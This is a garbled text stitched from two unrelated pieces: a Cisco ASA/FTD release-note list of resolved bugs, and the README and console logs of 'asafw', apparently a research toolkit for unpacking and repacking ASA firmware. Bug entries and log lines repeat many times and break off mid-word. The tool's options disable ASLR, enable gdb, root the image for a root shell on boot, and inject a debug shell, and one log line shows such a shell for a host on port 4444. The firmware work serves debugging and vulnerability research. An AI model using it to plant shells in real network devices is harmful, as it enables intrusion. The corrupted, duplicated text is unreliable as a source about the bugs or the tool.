CSCvu60011 FTD: Snort policy changes deployed to a HA on failed state are not fully synced CSCvu61704 ASA high CPU with intel_82576 check link_thread impacting on overall unit performance CSCvu63458 FPR2100: Show crash output on show tech does not display outputs from most recent tracebacks CSCvu68529 Embryonic connections limit does not work consistently CSCvu70931 Cluster / aaa-server key missing after "no key config-key" is entered CSCvu72094 ASA traceback and reload on thread name DATAPATH CSCvu72658 AnyConnect Connected Client IPs Not Advertised into OSPF Intermittently CSCvu72094 ASA traceback and reload on thread name DATAPATH CSCvu72658 AnyConnect Connected Client IPs Not Advertised into OSPF Intermittently CSCvu72094 ASA traceback and reload on thread name DATAPATH CSCvu72658 AnyConnect Connected Client IPs Not Advertised into OSPF Intermittently CSCvu72094 ASA traceback and reload on thread name DATAPATH CSCvu72658 AnyConnect Connected Client IPs Not Advertised into OSPF Intermittently CSCvu72094 ASA traceback and reload on thread name DATAPATH CSCvu72658 preserved in DTLS packets towards AnyConnect users CSCvu75594 FTD: Traceback and reload when changing capture buffer options on a already applied capture Specified remark does not exist" CSCvu78721 Cannot change (modify) interface speed after upgrade CSCvu83178 EIGRP summary route not being replicated to standby and causing outage after switchover CSCvu83599 ASA may traceback and unexpectedly reload on Thread snmp_alarm_thread CSCvu90727 Native VPN client with EAP-TLS authentication fails to connect to ASA CSCvu90727 Native VPN client with EAP-TLS authentication fails to connect to ASA CSCvu90727 Native VPN client with EAP-TLS authentication fails to connect to ASA CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpectedly reload on Thread SNMP_alarm_thread CSCvu98505 ASA may traceback and unexpected to standard sta enabled' flag set correctly CSCvv02245 ASA 'session sfr' command disconnects from FirePOWER module for initial setup CSCvv04584 Multicast EIGRP traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with the resson no-mcast-intrf CSCvv04584 Multicast traffic is being dropped with tr CSCvv09396 Stale VPN routes for L2TP, after the session was terminated CSCvv09944 Lina Traceback during FTD deployment when WCCP config is being pushed CSCvv12273 SNMP get-response using snmpget with multiple OIDs on hardwareStatus MIB returns noSuchObject CSCvv12857 ASA gets frozen after crypto engine failure CSCvv17585 Netflow template not sent under certain circumstances CSCvv26786 ASA traceback and reload on SNMP related traffic. CSCvv26786 ASA traceback and reload on thread traffic. name Crypto CA CSCvv29687 Rate-limit syslogs 780001/780002 by default on ASA CSCvv30371 SNMP: Memory leak in VPN polling CSCvv31629 Intermittently embedded ping reply over GRE drops on FTD cluster if traffic passes asymmetrically. CSCvv32425 ASA traceback when running show asp table classify domain permit CSCvv34003 snmpwalk for OID 1.3.6.1.2.1.47.1.1.1.1.5 on ISA 3000 returning value of 0 for .16 and .17 CSCvv34140 ASA IKEv2 VTI - Failed to request SPI from CTM as responder CSCvv43484 ASA stops processing RIP packets after system upgrade CSCvv44051 Cluster unit traceback on snp_cluster_forward_and_free_packet due to GRE/IPiniP passenger flows CSCvv48594 Memory leak: due to snp_tcp_intercept_stat_top_n_integrate() in threat detection CSCvv54831 ASA traceback and realod when running Packet Tracer commands CSCvv57842 WebSSL clientless user accounts being locked out on 1st bad password CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in MTX CSCvv58605 ASA traceback and reload in thread: Crypto CA, mem corruption by unvirtualized pki global table in thread: Crypto CA, mem corruption by unvirtualized pki global table in thread: Crypto CA, mem corruption by unvirtualized pki global table in thread: Crypto CA, mem table lists select resolved bugs at the time of this Release Note publication. Caveat ID Number Description CSCva36446 ASA Stops Accepting Anyconnect Sessions/Terminates Connector takes too long to failover to secondary CWS Tower CSCvj93609 ASA traceback on spin lock release actual CSCvm77115 Lina Traceback due to invalid TSC values CSCvm85823 Not able to ssh, ssh_exec: open(pager) error on console CSCvo76866 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvm85823 Not able to ssh, ssh_exec: open(pager) error on console CSCvo76866 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvm85823 Not able to ssh, ssh_exec: open(pager) error on console CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvo88762 FTD inline/transparent sends packets back through the ingress interface CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvp04134 Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvp04134
Traceback in HTTP Cli Exec when upgrading to 9.12.10 - watchdog CSCvp04134 Traceback in HTTP Cli Exec CSCvp29554 Watchdog traceback due to lina host file stat calls CSCvp69229 OpenSSL 0-byte Record Padding Oracle Information Disclosure Vulnerabil CSCvp70833 ASA/FTD: Twice nat Rule with same service displaying error "ERROR: NAT unable to reserve ports" CSCvp34340 FTD traffic outage due to 9344 block size depletion caused by the egress-optimization feature CSCvq37913 VPN-sessiondb does not replicate to standby ASA CSCvq46587 After failover, Active unit tcp sessions are not removed when timeout reached CSCvq50587 ASA/FTD may traceback and reload in Thread Name 'BGP Router' CSCvq50944 OSPFv3 neighborship is flapping every ~30 minutes CSCvq51284 FPR 2100, low block 9472 causes packet loss through the device. CSCvq61601 OpenSSL vulnerability CVE-2019-1559 on FTD CSCvq63024 Dual stacked ASAv manual failover issues CSCvq65864 Traceback in HTT Cli Exec with rest-api agent enabled CSCvq70775 FPR2100 FTD Standby unit leaking 9K blocks CSCvq76198 Traffic interruptions for FreeBSD systems CSCvq78126 V route is missing even after setting the reverse route in Crypto map config in HA-IKEv2 CSCvq787797 Multiple context 5585 ASA, transparent context losing mangement interface configuration. CSCvq88644 Traceback in tcp-proxy CSCvq92126 ASA traceback in Thread IPsec Message Handler CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by failover which is caused by link down CSCvq95058 IPSEC SA is deleted by li CSCvr12018 ASA: VPN traffic fails to take the tunnel route when the default route is learnt over BGP. CSCvr13278 PPPoE session not coming up after reload. CSCvr20757 Block leak on ASA while running Cisco Umbrella DNS inspection CSCvr20876 low memory causes kernel to invoke - oom and reload device - modified rlimit for KP CSCvr21803 Mac address flap on switch with wrong packet injected on ingress FTD interface CSCvr25768 ASA may traceback and reload during logging command replication from Active CSCvr27445 App-sync failure if unit tries to join HA during policy deployment CSCvr29638 HA FTD on FPR2110 traceback after deploy ACP from FMC CSCvr35956 Block double-free when combining ServerKeyExchange and ClientKeyExchange fails causes lina traceback CSCvr42344 Traceback on snp_policy_based_route_lookup when deleting a rule from access-list configured for PBR CSCvr50266 Dual stack ASAv failover triggered by reload issue CSCvr50630 ASA Traceback: SCTP bulk sync and HA synchronization CSCvr51998 ASA Static route disappearing from asp table after learning default route via BGP CSCvr54054 Mac Rewrite raffic CSCvr55400 FTD/LINA traceback and reload observed in thread name: cli xml server CSCvr55518 Missing clean up on rule creation failure. CSCvr56031 FTD/LINA Traceback and reload observed in thread name: cli xml server CSCvr57605 ASA after reload had license context count CSCvr60111 configurations getting wiped off from standby, while deployment fails on active CSCvr66768 Lina Traceback during FTD deployment when PBR configuration might not replicated if packet loss on the failover Link CSCvr81457 FTD traceback when TLS tracker (tls_trk_sniff_for_tls) attempted to free a block. CSCvr86077 ASA Traceback/pagefault in Datapath due to re multi match ascii CSCvr89663 Traceback and reload in Azure causes unrecoverable traceback state due to no dns domain-lookup any" CSCvr92327 ASA/FTD may traceback and reload in Thread Name 'PTHREAD-1533' CSCvr93978 ASA traceback and reload on Thread DATAPATH-0-2064 CSCvs01422 Lina traceback when changing device mode of FTD CSCvs02954 ASA OSPF: Prefix removed from the RIB when topology changes, then added back when another SPF is run CSCvs03023 Clustering module needs to skip the hardware clock update to avoid the timeout error and clock jump CSCvs07668 FTD traceback and reload in ssh or fover_rx Thread CSCvs07668 FTD traceback and reload on thread DATAPATH-1-15076 when SIP inspection is enabled CSCvs07982 ASA TRACEBACK: sctpProcessNextSegment SCTP INIT CHUNK CSCvs15276 ERROR: entry for ::/0 exists when configuring ipv6 icmp CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configuration when SSL policy is enabled CSCvs16073 snmp poll failure with host and host-group configura entries on ASA not getting refreshed. CSCvs28213 ASA Traceback in Thread Name SSH with assertion slib malloc.c CSCvs28580 Traceback and reload while waiting for "DATAPATH-12-1899" process to finish. CSCvs28213 ASA Traceback when processing SSL traffic under heavy load CSCvs28779 ASA may traceback and reload while waiting for "DATAPATH-12-1899" process to finish. CSCvs28213 ASA Traceback and reload while waiting for "DATAPATH-12-1899" process to finish. CSCvs28213 ASA Traceback and reload while waiting for "DATAPATH-12-1899" process to finish. point CPU 100% and cluster unstable. CSCvs40230 ICMP not working and failed with inspect-icmp-seq-num-not-matched CSCvs40531 AnyConnect 4.8 is not working on the FPR1000 series CSCvs40154 Secondary ASA is unable to join the failover due to aggressive warning messages. CSCvs45548 reactivation-mode timed causing untimely reactivation of failed server CSCvs53705 Anyconnect sessions limited incorrectly Thread CSCvs77818 Traceback: spin lock fair mode enqueue: Lock (np conn shrlock t) is held for a long time CSCvs80157 ASA Traceback Thread Name: IKE Daemon CSCvs80157 ASA Traceback Thr user license agreement, go to . Copyright © 2022, Cisco Systems, Inc. All rights reserved. Preliminary note: we recommend you to use this as part of asatools but it can also be used standalone. asafw is a set of scripts to deal with Cisco ASA firmware. It allows someone to unpack firmware required when debugging with gdb, as well as unpacking/repacking them in order to enable certain features such as: Enabling gdb at boot Disabling ASLR to ease debugging Injecting a firmware (generally deprecated by enabling gdb at boot and injecting a root shell) etc. The more useful tools are unpack repack bin.sh and unpack repack qcow2.sh. They allow respectively to manipulate asa*.bin and asav*.qcow2 image formats. They both need to be executed as root when actually repacking rootfs to keep the right permissions. Python3 only apt install binwalk qemu-utils Heavily tested on Linux (but could work on OS X to) You initially need to modify asafw/env.sh to match your environment. It will allow you to define paths to the tools used by all the scripts as well as some variables matching your ASA environment. Note there is a simmilar asadbg/env.sh but only one is
required to be used for both projects. We recommend that you add it to your ~/.bashrc: source /path/to/asafw/env.sh unpack repack bin.sh is used to unpack/repack asa*.bin images which are used for real Cisco ASA hardware (such as ASA 5500 and 5500-X series). The complete usage is: \$ unpack repack bin.sh -i -o [-f -g -G -a -A -m -b -r -u -l -d -e -k] -h, --help This help menu -i, --input What firmware bin to operate on -o, --output Where to write new firmware -f, --free-space Remove space from .bin to ensure injections fit -g, --enable-gdb Set gdb to start on boot -G, --disable-aslr Turn off ASLR -m, --inject-gdb Inject gdbserver to run -b, --debug-shell Inject ssh-triggered debug shell -H, --lina-hook Inject hooks for monitor lina heap (requires -b) -r, --root root the bin to get a rootshell on boot -c, --custom custom? -n, --n-custom custom? -q, --gns3-fixup gns? -u, --unpack-only unpack the firmware and nothing else -l, --linabins destination folder to save lina binaries -d, --delete-extracted during modification -e, --delete-original-bin delete the original firmware being modified -k, --keep-rootfs keep the extracted rootfs on disk -s, --simple-name use a simple name for the output .bin with just appended '-repacked --free-space --enable-gdb --inject-gdb ./unpack repack bin.sh -i /home/user/firmware/asa961-smp-k8.bin -f -g -m ./unpack repack bin.sh -u -i /home/user/firmware -l /home/user/firmware/asa924-k8.bin -k Let's assume we have these two firmware: ~/fw\$ ls asa924-k8.bin asa981-smp-k8.bin If you only want to extract firmware, e.g. to debug them with asadbg, you can use -u to unpack only and -k to only keep the rootfs and delete other files extracted by binwalk for this: ~/fw\$ unpack repack bin] Directory of firmware detected: . [unpack repack bin] extract one: asa924-k8.bin] 75000 0x124F8 SHA256 hash constants, little endian 144510 0x2347E gzip compressed data, maximum compression, from Unix, last modified: 2015-07-15 04:53:23 1501296 0x16E870 gzip compressed data, has original file name: "rootfs.img", from Unix DECIMAL HEXADECIMAL DESCRIPTION last modified: 2015-07-15 05:19:52 27168620 0x19E8F6C MySQL ISAM index file Version 4 28192154 0x1AE2D9A Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: AliasHandlerWrapper-win64.dll [unpack_repack_bin] Extracted firmware to /home/user/fw/ asa924-k8.bin.extracted [unpack repack bin] Firmware uses regular rootfs/ dir [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Termware uses regular rootfs/ dir [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Firmware uses regular rootfs/ dir [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Firmware uses regular rootfs/ dir [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Firmware uses regular rootfs/ dir [unpack repack bin] Extracting /home/user/fw/ asa924-k8.bin.extracted/rootfs [unpack repack bin] Firmware uses regular rootfs/ dir [unpack re k8.bin.extracted/rootfs.img" [unpack repack bin] Deleting "/home/user/fw/ asa924-k8.bin.extracted/2347E" [unpack_repack_bin] Deleting "/home/user/fw/_asa924-k8.bin.extracted/1AE2D9A.zip" [unpack_repack_bin] extract_one: asa981-smp-k8.bin DECIMAL HEXADECIMAL DESCRIPTION 0x12600 SHA256 hash constants, little endian 133120 0x20800 Microsoft executable, portable (PE) 149183 0x246BF gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2017-05-10 22:42:05 14838307 0xE26A23 MySQL MISAM compressed data file Version 4 87985870 0x53E8ECE MySQL MISAM compressed data file Version 7 96261881 0x5BCD6F9 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 96890193 0x5C66D51 MySQL ISAM compressed data file Version 5 [unpack repack bin] Extracted firmware to /home/user/fw/_asa981-smp-k8.bin.extracted [unpack_repack_bin] Firmware uses regular rootfs/ dir [unpack_repack_bin] Extracting /home/user/fw/_asa981-smp-k8.bin.extracted/rootfs [unpack_repack_bin] Deleting "/home/user/fw/_asa981-smp-k8.bin.extracted/rootfs/ dir [unpack_repack_bin] Extracting /home/user/fw/_asa981-smp-k8.bin.extracted/rootfs [unpack_repack_bin] Extracting /home/user/fw/_asa981-smp-k8.bin.extracting /home/user/fw/_asa981-smp-k8.bin.extracting /home/user/fw/_asa981-smp-k8.bin.extracting /home/user/fw/_asa981-smp-k8.bin.extracting /home/user/fw/_asa981-smp-k8.bin.extr k8.bin.extracted/rootfs.img" [unpack_repack_bin] Deleting "/home/user/fw/_asa981-smp-k8.bin.extracted/5BCD6F9.zip" [unpack_repack_bin] Deleting "/home/user/fw/_asa981-smp-k8.bin.extracted/246BF" Note that errors like below you may get don't matter in this case because you are not going to repack the firmware: cpio: lib/udev/devices/kmem Function mknod failed: Operation not permitted cpio: lib/udev/devices/net/tun: Function mknod failed: Operation not permitted cpio: lib/udev/devices/net permitted cpio: lib/udev/devices/loop00: Function mknod failed: Operation not permitted 134992 blocks Let's assume we have these two firmware: ~/fw\$ ls asa924-k8.bin asa981-smp-k8.bin We enable gdb with -g and remove some unused files with -f to be able to repack the firmware (the compressed rootfs needs to be smaller than the original one). We also patch lina to add a debug shell with -b. As we see below, it worked for asa924-k8.bin but it failed for asa924-k8.bin [bin] Directory of firmware detected: . [unpack repack bin] unpack one: asa924-k8.bin [bin] Unpacking... [bin] Writing /home/user/fw/asa924-k8-initrd-original.gz (29013841 bytes)... [bin] unpack: Writing /home/user/fw/asa924-k8.bin [unpack repack bin] ENABLE GDB [unpack repack bin] FREE SPACE IN .BIN [unpack repack bin] Using 32-bit firmware [unpack repack bin] Adding debug shell for 192.168.210.78:4444 [lina] WARN: No index specified. Will guess based on lina path... [lina] Using index: 132 for asa924-k8.bin [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Output file: /home/user/fw/work/asa/bin/lina [lina] Size of clean lina: 43386588 bytes [lina] Size of clean li /home/user/fw/work/asa/bin/lina [unpack_repack_bin] repack_one: asa924-k8.bin 132192 blocks [bin] Repacking... [bin] repack_bin] MD5: 6ee6af342a5b1ef31d633fca6dfa0d1a ./asa924-k8-debugshell-gdbserver.bin [unpack_repack_bin] MD5: 6ee6af342a5b1ef31d633fca6dfa0d1a ./asa924-k8-debugshell-gdbserver.bin [unpack_repack_bin] CLEANUP [unpack_repack_bin] MD5: 6ee6af342a5b1ef31d633fca6dfa0d1a ./asa924-k8-debugshell-gdbserver.bin [unpack_r unpack_one: asa981-smp-k8.bin [bin] Unpacking... [bin] Writing /home/user/fw/asa981-smp-k8-initrd-original.gz (100973358 bytes)... [bin] Could not find Direct booting from string [bin] Probably handling a 64-bit firmware... [bin] Unpack: Writing /home/user/fw/asa981-smp-k8-vmlinuz (3544992 bytes)... 458699 blocks [unpack_repack_bin] modify one: asa981-smp-k8.bin [unpack repack bin] ENABLE GDB [unpack repack bin] FREE SPACE IN .BIN [unpack repack bin] Using 32-bit firmware [unpack repack bin] Kerek bin] Using 32-bit firmware [unpack repack bin] Kerek bin] Using 32-bit firmware [unpack repack bin] Kerek bin] ENABLE GDB [unpack repack bin] Kerek bin /path/asafw/lina.py -b asa981-smp-k8.bin -f /home/user/fw/work/asa/bin/lina -o /home/user/fw/work/asa/bin/lina asa981-smp-k8-initrd-original.gz work asa924-k8-debugshell-gdbserver.bin asa981-smp-k8-initrd-original.cpio asa981-smp-k8-vmlinuz Also the latest extracted rootfs is kept in work for debugging purpose. The remaining files for asa981-smp-k8-vmlinuz Also the latest extracted rootfs is kept in work for debugging purpose. more specifically refer to the Importing additional symbols section in the README. Because firmware files are even worse, it may be interesting to extracted files. You can do it with the following command line: \$ unpack_repack_bin.sh -u -i /home/user/fw/ --linabins /home/user/linabins/ --delete-extracted [unpack repack bin] Created /home/user/fw/ [unpack repack bin] Directory of firmware detected: /home/user/fw/ [asa924-25-k8.bin] extracted firmware detected: /home/user/fw/ asa924-25-k8.bin] Extracted firmware detected: /home/user/fw/ asa924-25-k8.bin] Extracted firmware detected: /home/user/fw/ [unpack repack bin] Extracted firmware detected: /home/user/fw/ [unpack repack b [unpack_repack_bin] Firmware uses regular rootfs/ dir [unpack_repack_bin] Extracting /home/user/fw/_asa924-25-k8.bin.extracted/rootfs [unpack_repack_bin] Deleting extracted files [unpack_repack_bin] Deleting extracted
files [unpack_repack_bin] Deleting "/home/user/fw/_asa924-25-k8.bin.extracted" [unpack_repack_bin] Deleting "/home/user/fw/_asa924-25-k8.bin.extracted" [unpack_repack_bin] Deleting extracted files [unpack_repack_bin] Deleting "/home/user/fw/_asa924-25-k8.bin.extracted" [unpack_repack_bin] Deleting extracted files [unpack_repack_bin] Deleting extracted files [unpack_repack_bin] Deleting "/home/user/fw/_asa924-25-k8.bin.extracted" [unpack_repack_bin] Deleting "/home/user/fw/_asa924-25-k8.bin.extracted" [unpack_repack_bin] Deleting extracted files [unpack_repack_bin] Deleting "/home/user/fw/_asa924-25-k8.bin.extracted" [unpack_repack_bin] Deleting "/home/ extract bin: asa924-27-k8.bin [unpack repack bin] Extracted firmware to /home/user/fw/ asa924-27-k8.bin.extracted/rootfs/torotfs/ing into /home/user/fw/ asa924-27-k8.bin.extracted/rootfs/contfs/ing into /home/user/fw/ asa924-27-k8.bin.extracted/rootfs/contfs extracted files [unpack repack bin] Deleting "/home/user/fw/ asa924-k8.bin.extracted [unpack repack bin] Extracted firmware to /home/user/fw/ asa924-k8.bin.extracted firmware to home/user/fw/ asa924-k8.bin.extracted firmware to /home/user/fw/ asa924-k8.bin.extracted firmware to /home/user/fw/ asa924-k8.bin.extracted firmware to /home/user/fw/ asa924-k8.bin.extracted firmware to /home/user/fw/ asa924-k8.bin.extr ⊢ lina | lina_monitor is used to be root to mount/unmount the qcow2 You can extract one asav*.qcow2 image with the following. Again -u is used to unpack only. ~/fw_qcow2# unpack_repack_qcow2] Using template qcow2 file: asav941-200.qcow2 [unpack_repack_qcow2] Using template qcow2 [un Command line: -f [unpack repack qcow2] extract one: asav941-200.qcow2 [unpack repack_qcow2] Mounted /dev/nbd01 to /home/user/mnt/qcow2 [unpack_repack_qcow2] Copied asa941-200.smp-k8.bin to /home/user/fw_qcow2/bin/asav941-200.qcow2 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Copied asa941-200.smp-k8.bin to /home/user/fw_qcow2] Copied asa941-200.smp-k8.bin to /home/user/fw_qcow2] Copied asa941-200.smp-k8.bin to /home/user/mnt/qcow2 [unpack_repack_qcow2] Copied asa941-200.smp-k8.bin to /home/user/fw_qcow2] Copied asa941-200.smpdetected [unpack repack bin] extract one: asav941-200.qcow2 DECIMAL HEXADECIMAL DESCRIPTION --74656 0x123A0 SHA256 hash constants, little endian 133120 0x20800 Microsoft executable, portable (PE) 149183 0x246BF gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date) 3447872 0x349C40 gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2015-05-12 00:16:47 68057161 0x40E7849 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: 